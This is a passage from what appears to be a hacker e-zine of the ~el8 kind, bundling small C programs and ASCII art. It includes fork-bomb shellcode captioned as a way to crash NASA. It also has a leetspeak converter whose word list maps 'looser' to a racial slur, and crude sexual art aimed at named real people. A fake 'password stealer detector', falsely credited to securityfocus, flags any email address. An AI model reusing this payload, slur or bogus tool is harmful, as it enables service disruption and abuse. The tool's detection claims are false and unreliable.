  7013.           continue;
  7014.         }
  7015.       printf ("c0nn3cti0n fr0m %s\n", inet_ntoa (sfrom.sin_addr));
  7016.       if (ACCEPT_NO_CONNEX)
  7017.         {
  7018.           write (nfd, NOCONNEX4U, strlen (NOCONNEX4U));
  7019.           close (nfd);
  7020.           continue;
  7021.         }
  7022.       for (key = 0; key < MAXCH4TZ; key++)
  7023.         if (gchat[key].fd == -1)
  7024.           break;
  7025.       if (key == MAXCH4TZ)
  7026.         {
  7027.           printf ("p0ssible pr0blem\n");
  7028.           continue;
  7029.         }
  7030.       else
  7031.         {
  7032.           gchat[key].fd = nfd;
  7033.           gchat[key].sin = sfrom;
  7034.         }
  7035.  
  7036.       switch (fork ())
  7037.         {
  7038.         case 0:
  7039.           s3rv_U (key, nfd, &sfrom);
  7040.           //exit (31337);
  7041.           break;
  7042.         case -1:
  7043. /* p0ssible f0rkb0mb att4x, we sh0uld ex1t */
  7044.           puts ("W3'R3 B3ING ATT4CKT!!!!!!!!!!!!!!!!!!!!!!!!!");
  7045.           exit (-1);
  7046.           break;
  7047.         default:
  7048. /* i think i hafto close nfd!?!? */
  7049. //close(nfd);
  7050.           break;
  7051.         }
  7052.     }
  7053.  
  7054.   return 31337;
  7055. }
  7056. [END_CUT] el8ch4t.c
  7057. [END_DIR] el8ch4t
  7058.  
  7059.  
  7060.        ____________________________________
  7061.     .-'                                    `-.
  7062. [19]|              s1lly m4kr0z              |[19]
  7063. [19]|                   by:                  |[19]
  7064. [19]|              v4ri0uz du0d              |[19]
  7065.     `-.____________________________________.-'
  7066.  
  7067.     y0u k4n p4st3 th3z int0 y0r ph4v0r1t3 irc ch4nn3l. u k4n
  7068.     ev3n p4st3 them 0n bugtr4q, usen1x etc. als0, u k4n ch4ng3 the
  7069.     s4y1ngz t0 wh4t3v3r u lyke, p1ss 0ff u phr1endz, p1ss 0ff ur
  7070.     k0us1n, p1ss 0ff s0m1 u h8!
  7071.  
  7072. [BEGIN_DIR] misc
  7073. [CUT_HERE] m4kr0z.mac
  7074. [-------->^BScRoLLeR^B<-]
  7075. [------->^BScRoLLeR^B<--]
  7076. [------>^BScRoLLeR^B<---]
  7077. [----->^BScRoLLeR^B<----]
  7078. [---->^BScRoLLeR^B<-----]
  7079. [--->^BScRoLLeR^B<------]
  7080. [-->^BScRoLLeR^B<-------]
  7081. [->^BScRoLLeR^B<--------]
  7082. [-->^BScRoLLeR^B<-------]
  7083. [--->^BScRoLLeR^B<------]
  7084. [---->^BScRoLLeR^B<-----]
  7085. [----->^BScRoLLeR^B<----]
  7086. [------>^BScRoLLeR^B<---]
  7087. [------->^BScRoLLeR^B<--]
  7088. [-------->^BScRoLLeR^B<-]
  7089.  
  7090.                                            .-------------.
  7091.                                            | h0nK! h0nK! |
  7092.                                            ._____  ______,
  7093.                           .----------------.    '/
  7094. BRONC 0ff     -->         |_I_I_I_I_I_I_I_I]___
  7095.    t3w        --> .::.    |  _ sh0rt bUz: ; _  )
  7096.   sk00l       --> ':::'' ='-(_)----------=-(_)-'
  7097.  
  7098.  
  7099.               \\\\
  7100.               \c .(                     <= ALEPH1 RUNN1N FR0M
  7101.                \ _/                     <= TH3 SPA
  7102.             ___/(  /(
  7103.            /--/ \\//
  7104.        __ )/ /\/ \/
  7105.       -.\  //\\
  7106.          \\//  \\
  7107.           \/    \\
  7108.                  \\
  7109.                  '--
  7110.  
  7111.   //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\
  7112.  I:                     |         O F F I C I A L        :I
  7113.  I:                     |        W4R3Z K1D LICENSE       :I
  7114.  I:       //-'`\        | <-><-><-><-><-><-><-><-><-><-> :I
  7115.  I:     ;/ _   _ \;     |                                :I
  7116.  I:     ; `*   *` |     | Name:  Bronc Buster            :I
  7117.  I:     |    ^    ;     | Email: bronc@attrition.org     :I
  7118.  I:      \ '-=-' /      | URL:   www.legions.com         :I
  7119.  I:       ;.___.;       |                                :I
  7120.  I:        )   (        | Home:  #!gay                   :I
  7121.  I:    .- `-...-` -.    |                                :I
  7122.  I:  /`             `\  |                                :I
  7123.  I: /                 \ |                                :I
  7124.   *_____________________|________________________________*
  7125.  
  7126.  
  7127.         ,_          _,
  7128.        (`\`'--""--'`/`)
  7129.         ) `'.    .'` (
  7130.        /   .-\  /-.   \
  7131.        |  ( 0 \/ 0 )  |              << H0W M4NNY L1X T0 TH3
  7132.        |   '-'/\'-'   |              << C3NT3R 0F 4 T00TS13
  7133.         \    /\/\    /               << R0LL P0P ?!?!?
  7134.          ;--'    '--;
  7135.        /`.',_.._..,'.`\
  7136.       /  ;          ;  \
  7137.       | ; '-'--'-'-' ; |
  7138.       | ,'--.___.--'-, |
  7139.       | . ._      _. . |
  7140.       \ ;   ''--'`   ; /
  7141.        \/\.`-._._.-'/\/
  7142.           `;__   __;'
  7143.           ///)```(\\\
  7144.          (((/     \)))
  7145.  
  7146.       _ _..._  _
  7147.     .' )     (` '.
  7148.    |  /       `\  |
  7149.    \_|  q  p   |\_/
  7150.       \  Y     /--..-="````"-.
  7151.        `.=__.-`               `\
  7152.           o\                 \-`
  7153.            |                 |       <- 41M H3R3, BR0NC
  7154.             \    .--""`\     <
  7155.            //   |      ||    |
  7156.           ((,,_/      ((,,___/
  7157.  
  7158.  
  7159.  
  7160.                   ,-~-,       ,-~~~~-,    /\  /\
  7161.             (\   / ,-, \    ,'        ', /  ~~  \
  7162.              \'-' /   \ \  /     _      #  <0 0> \
  7163.               '--'     \ \/    .' '.    # =  Y  =/
  7164.                         \     / \   \   `#-..O.-'
  7165.    Y3T 4N0TH3R >>        \   \   \   `\ \\
  7166.     V1CT1M 0F  >>          )  />  /     \ \\
  7167.       BRONC    >>        / /`/ /`__     \ \\__
  7168.                         (____)))_)))     \__)))
  7169.  
  7170.  
  7171.         .-.
  7172.         |-|
  7173.         | |              <- R0uTEZ R3SP0NS3 4G41NST
  7174.      _.-|=|-.            <- 4LL3G4T10NZ FR0M
  7175.     / | | | |            <- MS. L3W1NSKY
  7176.     |       |\
  7177.     |        /
  7178.      \     /`
  7179.  
  7180.            .:\:/:.
  7181.          .:\:\:/:/:.
  7182.         :.:\:\:/:/:.:
  7183.        :=.' -   - '.=:
  7184.        '=(\ 9   9 /)='
  7185.           (  (_)  )             <= J1MMY TH4 W4R3Z TR0LL
  7186.           /`-vvv-'\
  7187.          / juarez! \
  7188.         / /|,,,,,|\ \
  7189.        /_//  /^\  \\_\
  7190.        WW(  (   )  )WW
  7191.         __\,,\ /,,/__
  7192.        (______Y______)
  7193.  
  7194.  
  7195.            _.="""=._
  7196.          /`  \   /  `\
  7197.         /  / _} {_ \  \
  7198.        /  ; /o) (o\ ;  \
  7199.        \  |  / _ \  |  /
  7200.         \_/\| (_) |/\_/
  7201.           /`\_/=\_/`\   RL0xL3Y S4YZ:
  7202.         /`    `"`    `\     "G3T Y0R D0G 0R C4T SP4Y3D 0R N3UT3R3D"
  7203.        {               }
  7204.  
  7205.         _.._
  7206.       .'/'._`'.
  7207.      /.'    '-.\
  7208.     (  0     0  )
  7209.      \    ^    /
  7210.       '.'---'.'
  7211.         `) (`                   W3LL, J00 KN0 MY N4M3 IZ S1M0N
  7212.      .--'._.'--.                4ND 1 L1K3 T3W D3W DR4W1NGZ
  7213.     /           \
  7214.    /  /|     |\  \
  7215.   /  / |     | \  \
  7216.  (\_/  |_____|  \_/)
  7217.  
  7218.  
  7219.                     .-.
  7220.              __    _| '-----------._____________.-'\
  7221.             `-.`\,'  .======.      \ =====  ======= \==.
  7222.            __.'     ||  (___|- = = |----------------|  |
  7223.           /     ,_  ||   ___| - - -|________________/  |
  7224.          /     / /  ||  (___| = = =|________________)=='
  7225.          |    (_/    '======'_-- -/
  7226.         /                 (_II== /
  7227.        |              .---.  ___/
  7228.       /  ::.    .--. /\ /  |(
  7229.       | .::::. /    \\ \(  //
  7230.      / .:::::: |     '-----'
  7231.     ; :::::::: |
  7232.     | :::::::: |  ~eL8 S3YZ: "M4K3 L0V3, N0T W4R!"
  7233.     |::::::::: |
  7234.     /::::::::: |
  7235.    '-----------'
  7236.  
  7237.                 (\
  7238.                  \\
  7239.                   ))
  7240.                  //
  7241.           .-.   //  .-.
  7242.          /   \-((=-/   \
  7243.          \      \\     /
  7244.           `( ____))_ )`
  7245.           .-'   //  '-.
  7246.          /     ((      \
  7247.         |       !       |       [ D0NT G3T T00 3XC1T3D, BR0NC ]
  7248.          \             /
  7249.           \   |___|   /
  7250.           _)  \   /  (_
  7251.         (((---'   '---)))
  7252.  
  7253.             .-""""-.        .-""""-.
  7254.            /        \      /        \
  7255.           /_        _\    /_        _\
  7256.          // \      / \\  // \      / \\
  7257.          |\__\    /__/|  |\__\    /__/|
  7258.           \    ||    /    \    ||    /
  7259.            \        /      \        /
  7260.             \  __  /        \  __  /
  7261.              '.__.'          '.__.'
  7262.               |  |            |  |
  7263.               |  |            |  |
  7264.              T4K3 UZ t0 Y0UR K0UR13R
  7265.  
  7266.             _.---._
  7267.         _.-{_O___O_}         _.---._
  7268.        }_.'`       `'.  ,_.-(_O___O_)
  7269.         ( (`-.___.-`) )  )_.'_     _'.
  7270.          '.`"-----"`.'    ( (_`---`_) )          r4f43l 1z c00l, bUt rUd3,
  7271.            `'-----'`       '._`"""`_.'         m1ch43l4ng3l0 1z 4 p4rty d00d
  7272.                               `"""`_.---._
  7273.                _.---,_       ,__.-(_a___a_)
  7274.            _.-(_o___o_)       }_.'_       _'.
  7275.            }_.'_     _'.       ( ( `.___.` ) )
  7276.             ( (_`---`_) )       '.`"-'''-"`.'
  7277.              '._`````_.'          `'-----'`
  7278.                 `"""`
  7279. [END_CUT] m4kr0z.mac
  7280. [END_DIR] misc
  7281.  
  7282.  
  7283.  
  7284.        ____________________________________
  7285.     .-'                                    `-.
  7286. [20]|      qu1k3st f0rkb0mb in the w3st      |[20]
  7287. [20]|                   by:                  |[20]
  7288. [20]|                  movl                  |[20]
  7289.     `-.____________________________________.-'
  7290.  
  7291.     us3 th1z t0 cr4sh n4s4.
  7292.  
  7293. [BEGIN_DIR] disturb
  7294.  
  7295. [CUT_HERE] frk.c
  7296. #include <stdio.h>
  7297.  
  7298. /*
  7299.  *  ~el8 shellcode !!!!!!!
  7300.  *
  7301.  */
  7302.  
  7303. unsigned char shellcode[] =
  7304. {
  7305.         0x31, 0xc9,             /* xorl   %ecx,%ecx */
  7306.         0x41,                   /* incl   %ecx */
  7307.         0x41,                   /* incl   %ecx */
  7308.         0x31, 0xc0,             /* xorl   %eax,%eax */
  7309.         0xb0, 0x02,             /* movb   $0x2,%al */
  7310.         0xcd, 0x80,             /* int    $0x80 */
  7311.         0xb0, 0x25,             /* movb   $0x25,%al */
  7312.         0x31, 0xdb,             /* xorl   %ebx,%ebx */
  7313.         0x89, 0xd9,             /* movl   %ebx,%ecx */
  7314.         0xb1, 0x11,             /* movb   $0x11,%cl */
  7315.         0xcd, 0x80,             /* int    $0x80 */
  7316.         0xe2, 0xee,             /* loop   4  */
  7317.         0x55,                   /* pushl  %ebp */
  7318.         0x89, 0xe5,             /* movl   %esp,%ebp */
  7319.         0x53,                   /* pushl  %ebx */
  7320.         0x31, 0xc0,             /* xorl   %eax,%eax */
  7321.         0x31, 0xc9,             /* xorl   %ecx,%ecx */
  7322.         0x41,                   /* incl   %ecx */
  7323.         0x41,                   /* incl   %ecx */
  7324.         0xb0, 0xa2,             /* movb   $0xa2,%al */
  7325.         0x89, 0x4d, 0xf0,       /* movl   %ecx,0xfffffff0(%ebp) */
  7326.         0x31, 0xc9,             /* xorl   %ecx,%ecx */
  7327.         0x89, 0x4d, 0xf4,       /* movl   %ecx,0xfffffff4(%ebp) */
  7328.         0x89, 0x4d, 0xf8,       /* movl   %ecx,0xfffffff8(%ebp) */
  7329.         0x89, 0x4d, 0xfc,       /* movl   %ecx,0xfffffffc(%ebp) */
  7330.         0x8d, 0x5d, 0xf0,       /* leal   0xfffffff0(%ebp),%ebx */
  7331.         0x8d, 0x4d, 0xf8,       /* leal   0xfffffff8(%ebp),%ecx */
  7332.         0xcd, 0x80,             /* int    $0x80 */
  7333.         0x31, 0xc9,             /* xorl   %ecx,%ecx */
  7334.         0x41,                   /* incl   %ecx */
  7335.         0x89, 0xcb,             /* movl   %ecx,%ebx */
  7336.         0x89, 0xc8,             /* movl   %ecx,%eax */
  7337.         0xcd, 0x80,             /* int    $0x80 */
  7338.         0x00
  7339. };
  7340. unsigned char smallcode[] =
  7341. /* a _much_ smaller version (no exit().. or exit for that matter :-) */
  7342. {
  7343.         0x31,   0xC0,           /* xorl %eax, %eax              */
  7344.         0xB0,   0x02,           /* movb $2,%al                  */
  7345.         0xCD,   0x80,           /* int  $0x80                   */
  7346.         0xEB,   0xF8,           /* jmp  baq_and_touch_yourself  */
  7347.         0x00                    /* add a null byte for flavor   */
  7348. };
  7349. int main(void *a,void **b)
  7350. {
  7351.         printf("1(%i,%Zi 0x%Zx)\n",strlen(shellcode),sizeof(shellcode),sizeof(shellcode));
  7352.         printf("2(%i,%Zi 0x%Zx)\n",strlen(smallcode),sizeof(smallcode),sizeof(smallcode));
  7353.         return (0);
  7354. }
  7355. [END_CUT] frk.c
  7356. [END_DIR] disturb
  7357.  
  7358.  
  7359.        ____________________________________
  7360.     .-'                                    `-.
  7361. [21]|          w4r3z t4lk3r us1ng AI         |[21]
  7362. [21]|                   by:                  |[21]
  7363. [21]|                 HubERT                 |[21]
  7364.     `-.____________________________________.-'
  7365.  
  7366.     This w4r3z t4lk3r is the first that ever uses AI to transform
  7367.     the w4r3z sp33k. enj0y it.
  7368.  
  7369. [BEGIN_DIR] misc
  7370. [CUT_HERE] haqAI.c
  7371. #include <stdio.h>
  7372. #include <termios.h>
  7373.  
  7374. char toleet(char ch)
  7375. {
  7376.    char ich = (ch|32);
  7377.  
  7378.    if (ich == 'a')
  7379.       return (1 == (rand() % 3)) ? '4' : ch;
  7380.    else if (ich == 'b')
  7381.       return (1 == (rand() % 3)) ? (1 == (rand() % 4)) ? '8' : '6' : ch;
  7382.    else if (ich == 'c')
  7383.       return (1 == (rand() % 5)) ? (1 == (rand() % 2)) ? '(' : '<' : ch;
  7384.    else if (ich == 'd')
  7385.       return ch;
  7386.    else if (ich == 'e')
  7387.       return (1 == (rand() % 2)) ? '3' : ch;
  7388.    else if (ich == 'f')
  7389.       return ch;
  7390.    else if (ich == 'g')
  7391.       return (1 == (rand() % 6)) ? '9' : ch;
  7392.    else if (ich == 'h')
  7393.       return ch;
  7394.    else if (ich == 'i')
  7395.       return (1 == (rand() % 2)) ? (!(rand() % 2)) ? '|' : '1' : ch;
  7396.    else if (ich == 'j')
  7397.       return ch;
  7398.    else if (ich == 'k')
  7399.       return ch;
  7400.    else if (ich == 'l')
  7401.       return (1 == (rand() % 7)) ? '|' : ch;
  7402.    else if (ich == 'm')
  7403.       return ch;
  7404.    else if (ich == 'n')
  7405.       return ch;
  7406.    else if (ich == 'o')
  7407.       return (1 == (rand() % 2)) ? (!(rand() % 2)) ? '@' : '0' : ch;
  7408.    else if (ich == 'p')
  7409.       return ch;
  7410.    else if (ich == 'q')
  7411.       return ch;
  7412.    else if (ich == 'r')
  7413.       return ch;
  7414.    else if (ich == 's')
  7415.       return (1 == (rand() % 2)) ? (!(rand() % 2)) ? '5' : '$' : ch;
  7416.    else if (ich == 't')
  7417.       return (!(rand() % 4)) ? '7' : ch;
  7418.    else if (ich == 'u')
  7419.       return ch;
  7420.    else if (ich == 'v')
  7421.       return ch;
  7422.    else if (ich == 'w')
  7423.       return ch;
  7424.    else if (ich == 'x')
  7425.       return ch;
  7426.    else if (ich == 'y')
  7427.       return ch;
  7428.    else if (ich == 'z')
  7429.       return (!(rand() % 10)) ? '2' : ch;
  7430.    else
  7431.       return ch;
  7432.    return -1;
  7433. }
  7434.  
  7435. int main()
  7436. {
  7437.    struct termios fu, ck;
  7438.    char ch;
  7439.  
  7440.    srand(time(0));
  7441.    tcgetattr(0, &ck);
  7442.    fu = ck;
  7443.    ck.c_lflag &= ~(ECHO | ICANON);
  7444.    tcsetattr(0, TCSANOW, &ck);
  7445.    while ((ch = getchar()) != EOF) {
  7446.       if (ch == 127) {
  7447.          putchar("\b \b"[0]);
  7448.          putchar("\b \b"[1]);
  7449.          putchar("\b \b"[2]);
  7450.          continue;
  7451.       }
  7452.       putchar(toleet(ch));
  7453.    }
  7454.    tcsetattr(0, TCSANOW, &fu);
  7455. }
  7456. [END_CUT] haqAI.c
  7457. [END_DIR] misc
  7458.  
  7459.  
  7460.        ____________________________________
  7461.     .-'                                    `-.
  7462. [22]|                  me.c                  |[22]
  7463. [22]|                   by:                  |[22]
  7464. [22]|                  tRODo                 |[22]
  7465.     `-.____________________________________.-'
  7466.  
  7467. [BEGIN_DIR] misc
  7468. [CUT_HERE] me.c
  7469. #include <stdio.h>
  7470. #include <pwd.h>
  7471. #include <sys/types.h>
  7472.  
  7473. int main(int argc, char *(*(argv)))
  7474. {
  7475.   struct passwd *juser;
  7476.   if ((juser = getpwuid(getuid())) == NULL) {
  7477.         perror("getpwuid()");
  7478.         exit(-1);
  7479.   }
  7480.   printf("\033[2m\xf0 \033[1m%s \033[0;36m",juser->pw_name);
  7481.   while(*++argv) {
  7482.         printf("%s ",*argv);
  7483.   }
  7484.   puts("\033[m");
  7485. }
  7486. [END_CUT] me.c
  7487. [END_DIR] misc
  7488.  
  7489.  
  7490.        ____________________________________
  7491.     .-'                                    `-.
  7492. [23]|     un1x p4ssw0rd ste4l3r det3kt0r     |[23]
  7493. [23]|                   by:                  |[23]
  7494. [23]|            securityfocus.com           |[23]
  7495.     `-.____________________________________.-'
  7496.  
  7497.     This tool is very useful. It was first written by securityfocus
  7498.     for AOL. We have now ported it to UNIX. It is best to run it from
  7499.     your rc scripts, or on a cron minutely of the entire file system.
  7500.     This will locate any password stealing trojan on your operating 
  7501.     system. 
  7502.  
  7503.     Yours Truly, Aleph1
  7504.  
  7505. [BEGIN_DIR] securityfocus
  7506. [CUT_HERE] pwsdetector.c
  7507. #include <stdio.h>
  7508. #include <sys/stat.h>
  7509. #include <ctype.h>
  7510. int is_pws(const char *tmp)
  7511. {
  7512.    int w = 1;
  7513.    while (*tmp) {
  7514.       switch(w) {
  7515.        case 1:
  7516.          if (*tmp == '@') {
  7517.             w = 2;
  7518.          }
  7519.          break;
  7520.        case 2:
  7521.          if (*tmp == '.') {
  7522.             w = 3;
  7523.          }
  7524.          break;
  7525.        case 3:
  7526.          if (*tmp == ' ') {
  7527.             w = 1;
  7528.          }
  7529.          else w = 4;
  7530.          break;
  7531.        case 4:
  7532.          if (isalpha(*tmp)) {
  7533.             return 1;
  7534.          } else w = 1;
  7535.          break;
  7536.        default:
  7537.          break;
  7538.       }
  7539.       tmp++;
  7540.    }
  7541.    return 0;
  7542. }
  7543. int main(int argc, char **argv)
  7544. {
  7545.    FILE *fp;
  7546.    struct stat st;
  7547.    char buf[255];
  7548.    char pws = 0;
  7549.  
  7550.    while (1) {
  7551.       argv++;
  7552.       argc--;
  7553.  
  7554.       if (!*argv) {
  7555.          break;
  7556.       }
  7557.       if (stat(*argv, &st) == -1) {
  7558.          perror(*argv);
  7559.          exit(-1);
  7560.       }
  7561.       if (st.st_mode & S_IFDIR) {
  7562.         continue;
  7563.       }
  7564.       if ((fp = fopen(*argv, "r")) == NULL) {
  7565.          perror(*argv);
  7566.          exit(-1);
  7567.       }
  7568.       memset(&buf,0,sizeof(buf));
  7569.       while (!feof(fp)) {
  7570.          memset(&buf,0,sizeof(buf));
  7571.          fgets(buf,sizeof(buf),fp);
  7572.          if (is_pws(buf)) {
  7573.             pws = 1;
  7574.             break;
  7575.          }
  7576.       }
  7577.       if (pws == 1) {
  7578.          printf("%s: passwd stealer detected.\n", *argv);
  7579.       } else {
  7580.          printf("%s: file is safe!\n", *argv);
  7581.       }
  7582.       pws = 0;
  7583.       fclose(fp);
  7584.    }
  7585.    return 0;
  7586. }
  7587. [END_CUT] pwsdetector.c
  7588. [END_DIR] securityfocus
  7589.  
  7590.  
  7591.        ____________________________________
  7592.     .-'                                    `-.
  7593. [24]|              leet_talker.c             |[24]
  7594. [24]|                   by:                  |[24]
  7595. [24]|               ~el8 pete                |[24]
  7596.     `-.____________________________________.-'
  7597.  
  7598. [BEGIN_DIR] misc
  7599. [CUT_HERE] leet_talker.c
  7600. #include <stdio.h>
  7601. #include <stdlib.h>
  7602. #include <string.h>
  7603.  
  7604. struct letterpeople
  7605. {
  7606.   char a;
  7607.   char b;
  7608. };
  7609.  
  7610. struct wordz
  7611. {
  7612.   char *a;
  7613.   char *b;
  7614. };
  7615.  
  7616. struct letterpeople leterz[] = {
  7617.   {'a', '4'},
  7618.   {'e', '3'},
  7619.   {'i', '1'},
  7620.   {'o', '0'},
  7621.   {'s', '5'},
  7622.   {'A', '4'},
  7623.   {'O', '0'},
  7624.   {0, 0}
  7625. };
  7626.  
  7627. struct wordz w0rdz[] = {
  7628.   {"with", "w/"},
  7629.   {"without", "w/o"},
  7630.   {"fuck", "fuq"},
  7631.   {"fucking", "fuqn"},
  7632.   {"shit", "shyt"},
  7633.   {"looser", "nigr"},
  7634.   {0, 0}
  7635. };
  7636.  
  7637. int
  7638. leet (char *str, int type)
  7639. {
  7640.   int x, y, nword = 1, z = 0, j = 0;
  7641.  
  7642.   if (type == 1)
  7643.     {
  7644. /* lame elite leet talker */
  7645.       for (x = 0; x < strlen (str); x++)
  7646.         {
  7647.           if (str[x] == ' ')
  7648.             {
  7649.               nword = 1;
  7650.               continue;
  7651.             }
  7652.  
  7653.           if (str[x] == 'u')
  7654.             {
  7655.               if (!z)
  7656.                 {
  7657.                   if (!nword)
  7658.                     {
  7659.                       str[x] = 'U';
  7660.                       z += 1;
  7661.                       continue;
  7662.                     }
  7663.                 }
  7664.               else
  7665.                 z += 1;
  7666.             }
  7667.  
  7668.           if (z == 5)
  7669.             z = 0;              /* leniant */
  7670.  
  7671.           if ((str[x] == 's' || str[x] == 'S')
  7672.               && (!isalpha (str[x + 1]) || str[x + 1] == '\0'))
  7673.             {
  7674.               if (!j)
  7675.                 {
  7676.                   if (!nword)
  7677.                     {
  7678.                       str[x] = 'z';
  7679.                       j += 1;
  7680.                       continue;
  7681.                     }
  7682.                 }
  7683.               else
  7684.                 j += 1;
  7685.             }
  7686.  
  7687.           if (j == 2)
  7688.             j = 0;
  7689.  
  7690.           for (y = 0; y < sizeof (leterz); y++)
  7691.             {
  7692.               if (str[x] == leterz[y].a)
  7693.                 {
  7694.                   if (isdigit (str[x - 1]) || isdigit (str[x + 1]))
  7695.                     break;
  7696.                   if (nword)
  7697.                     break;
  7698.                   if (str[x + 1] == ' ')
  7699.                     break;
  7700.                   if (!isalpha (str[x - 1]) || !isalpha (str[x + 1]))
  7701.                     break;
  7702.                   if (x == strlen (str) - 2)
  7703.                     break;
  7704.                   if (isupper (str[x - 1]) && islower (str[x + 1]))
  7705.                     break;
  7706.                   if (str[x] == 'e' || str[x] == 'E')
  7707.                     {
  7708.                       if (str[x + 1] == 'e' || str[x + 1] == 'E')
  7709.                         {
  7710.                           str[x + 1] = '4';
  7711.                           x += 1;
  7712.                           break;
  7713.                         }
  7714.                     }
  7715.                   str[x] = leterz[y].b;
  7716.                 }
  7717.             }
  7718.           nword = 0;
  7719.         }
  7720.       printf ("%s", str);
  7721.     }
  7722.   return 1;
  7723. }
  7724.  
  7725. int
  7726. warez_talker (char *str, int type)
  7727. {
  7728.   int x, y = 0, z;
  7729.  
  7730.   if (type == 1)
  7731.     {
  7732. /* lame elite warez talker */
  7733.       for (x = 0; x < strlen (str); x++)
  7734.         {
  7735.           if (y == 0)
  7736.             {                   /* make upper */
  7737.               str[x] = toupper (str[x]);
  7738.               y += 1;
  7739.             }
  7740.           else
  7741.             {
  7742. /* make lower */
  7743.               str[x] = tolower (str[x]);
  7744.               y = 0;
  7745.             }
  7746.         }
  7747.       printf ("%s", str);
  7748.     }
  7749.  
  7750.   return 1;
  7751. }
  7752.  
  7753. int
  7754. main (int argc, char *argv[])
  7755. {
  7756.   char buff[255];
  7757.  
  7758.   while (31337)
  7759.     {
  7760.       bzero (&buff, sizeof (buff));
  7761.       if (fgets (buff, (sizeof (buff) - 1), stdin) == NULL)
  7762.         break;
  7763.       leet (buff, 1);           /* leet */
  7764.       leet (buff, 2);           /* more leet */
  7765.       warez_talker (buff, 1);   /* leet */
  7766.     }
  7767.  
  7768.   return 0x7a69;
  7769. }
  7770. [END_CUT] leet_talker.c
  7771. [END_DIR] misc
  7772.  
  7773.  
  7774.        ____________________________________
  7775.     .-'                                    `-.
  7776. [25]|                  8ball                 |[25]
  7777. [25]|                   by:                  |[25]
  7778. [25]|               FUNNY_BUNNY              |[25]
  7779.     `-.____________________________________.-'
  7780.  
  7781. [BEGIN_DIR] 8ball
  7782.  
  7783. [CUT_HERE] Makefile
  7784. # Makefile for Magic 8-ball
  7785. CC=gcc
  7786. CFLAGS=
  7787. #CFLAGS=-O2 -Wall -pedantic -ansi
  7788. #CFLAGS=-DDEBUG
  7789. #LINKME=-lnsl -lsocket
  7790. LINKME=-lncurses
  7791. OBJS=main.o magic.o client.o server.o
  7792. TARGET=eball
  7793.  
  7794. all: eball
  7795.  
  7796. eball: $(OBJS)
  7797.         $(CC) $(CFLAGS) -o $(TARGET) $(OBJS) $(LINKME)
  7798.  
  7799. .c.o:
  7800.         $(CC) $(CFLAGS) -c $<
  7801.  
  7802. install: all
  7803.         install -s -m 7755 $(TARGET) /usr/local/bin
  7804.  
  7805. clean:
  7806.         rm -f core *.o
  7807. clear:
  7808.         rm -f *.{c,h}~ Makefile~
  7809. [END_CUT] Makefile
  7810.  
  7811. [CUT_HERE] client.c
  7812. #include "eball.h"
  7813. #ifdef __linux__
  7814. #include <linux/kd.h>
  7815. #include <sys/types.h>
  7816. #include <sys/stat.h>
  7817. #include <fcntl.h>
  7818. #include <sys/ioctl.h>
  7819. #endif
  7820. #include <curses.h>
  7821. int
  7822. doleds(void);
  7823. int
  7824. print_magic(const char *MAGIC);
  7825. extern int ball_client(char *host, short port, int magic_bean)
  7826. {
  7827.     int sockfd;
  7828.     socklen_t addrlen;
  7829.     struct sockaddr_in me,you;
  7830.     struct hostent *he;
  7831.     char beener[MAX_MAGIC];
  7832.     char data[MAX_MAGIC];
  7833.  
  7834.     if ((he=gethostbyname(host))==NULL)
  7835.     {
  7836.         herror(host);
  7837.         exit(-1);
  7838.     }
  7839.     if ((sockfd=socket(AF_INET,SOCK_DGRAM,0))< 0)
  7840.     {
  7841.         perror("udp socket call");
  7842.         exit(-1);
  7843.     }
  7844.     bzero((char*)&me, sizeof(me));
  7845.     me.sin_family = AF_INET;
  7846.     me.sin_addr.s_addr = htonl(INADDR_ANY);
  7847.     if ((bind(sockfd,(struct sockaddr*)&me,sizeof(me))<0))
  7848.     {
  7849.         perror("binding udp socket");
  7850.         exit(-1);
  7851.     }
  7852.     bzero((char*)&data,sizeof(data));
  7853.     bzero((char*)&you,sizeof(you)); // sometimes sizeof(you) will return NULL,
  7854.                                     // this is normal :P
  7855.     you.sin_family = AF_INET;
  7856.     you.sin_addr = *((struct in_addr*)he->h_addr);
  7857.     you.sin_port = htons(port);
  7858.     doleds();
  7859.     addrlen=(socklen_t)sizeof(you);
  7860.     snprintf(beener,sizeof(beener),"%i",magic_bean);
  7861.     if ((sendto(sockfd,beener,sizeof(beener),0,
  7862.                  (struct sockaddr*)&you,(socklen_t)sizeof(you)))<0)
  7863.     {
  7864.         perror("sending magic bean");
  7865.         exit(-1);
  7866.     }
  7867.     if ((recvfrom(sockfd,data,sizeof(data)-1,0,
  7868.                    (struct sockaddr*)&you,&addrlen))<0)
  7869.     {
  7870.         perror("recv'ing magic message");
  7871.         exit(-1);
  7872.     }
  7873.     print_magic(data);
  7874.     shutdown(sockfd,2);
  7875. }
  7876. void
  7877. sigoose(int s){endwin();exit(1);}
  7878. int
  7879. print_magic(const char *MAGIC)
  7880. {
  7881.              WINDOW *ball;
  7882.              signal(SIGINT,sigoose);
  7883.              initscr();
  7884.              ball = subwin(stdscr,5,60,10,10);
  7885.              noecho();
  7886.              intrflush(ball,TRUE);
  7887.              curs_set(FALSE);
  7888.              box(ball,ACS_VLINE,ACS_HLINE);
  7889.              touchwin(ball);
  7890.              wrefresh(ball);
  7891.              move(1,1);
  7892.              mvwaddstr(ball,1,2,"And the answer is...");
  7893.              wattrset(ball,A_STANDOUT);
  7894.              mvwaddstr(ball,2,((int)((60-strlen(MAGIC))/2)),MAGIC);
  7895.              wrefresh(ball);
  7896.  
  7897.              sleep(3);
  7898.              wclear(ball);
  7899.              endwin();
  7900.              return 0;
  7901. }
  7902. int
  7903. doleds(void)
  7904. {
  7905.   int Ent,cons;
  7906.   if (getuid()!=0||geteuid()!=0)
  7907.       return 0; // silly kiddie, trix are for r00t!
  7908. #ifndef __linux__
  7909.   printf("not linux\n");
  7910.   sleep(1);
  7911.   return 0;
  7912. }
  7913. #else
  7914.   if((cons=open("/dev/console", O_RDWR | O_NOCTTY)) < 0)
  7915.   {
  7916.     perror("open(console)");
  7917.     exit(-1);
  7918.   }
  7919.   fprintf(stderr,"Now using your LED's to generate some magic!\n");
  7920.   for(Ent=0;Ent<65;Ent++,usleep(1000*Ent))
  7921.   ioctl(cons,KDSETLED,1+(rand()%5));
  7922.   close(cons);
  7923.   ioctl(cons,KDSETLED,0x0);
  7924.   return 0;
  7925. }
  7926. #endif
  7927. [END_CUT] client.c
  7928.  
  7929. [CUT_HERE] eball.h
  7930. /* magic 8-ball server / client */
  7931. /* by fB [funny bunny] - catch me in #hack.jp any server */
  7932. /* el8@press.co.jp subject: fB rulz */
  7933.  
  7934. /* Parts (c) Magic 8-ball Co. */
